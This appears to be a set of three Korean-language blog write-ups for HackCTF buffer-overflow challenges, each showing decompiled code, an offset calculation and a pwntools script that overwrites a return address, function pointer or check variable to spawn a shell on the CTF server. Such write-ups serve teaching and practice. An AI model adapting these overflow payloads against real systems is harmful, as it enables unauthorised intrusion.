int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

따로 함수 호출이나 if 문이 없으니 ret 값을 callMeMaybe 함수의 주소로 바꾸면 될거 같다.

 

0x110 + 0x8 = 0x118 = 280

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3004)

payload = b""
payload += b"A" * (0x110 + 8)
payload += p64(0x0000000000400606)

r.sendline(payload)

r.interactive()

0x0000000000400606는 callMeMaybe 함수의 주소값이다.

이렇게 하면 쉘이 실행될 것이다. 거기다 cat flag 를 치면 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

v5라는 함수 포인터를 호출하고 있기 때문에 s를 버퍼 오버플로우 내서 v5의 주소값을 쉘을 실행시키는 shell 함수의 주소값으로 바꾸면 될거 같다.

0x8C - 0xC = 0x80 = 128

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = b""
payload += b"A" * 128
payload += p32(0x0804849b)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

128 바이트를 A로 덮어씌우고 그 다음에 v5 부분을 shell 함수의 주소로 바꿨다.

그러면 shell 함수가 실행되게 될 것이고, cat flag 를 하면 플래그가 보일것이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

그냥 간단히 v5를 -559038737로 바꿔주면 된다.

0x34 - 0xC = 0x28 = 40

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3000)

payload = b""
payload += b"A" * 40
payload += p64(0xFFFFFFFFDEADBEEF)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

0xFFFFFFFFDEADBEEF는 -559038737를 16진수로 바꾼것이다.

이걸로 v5가 -559038737가 되어 system("/bin/dash") 함수가 실행되면

쉘에서 명령어를 실행할 수 있다.

그래서 cat flag 로 flag를 읽어온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

+ Recent posts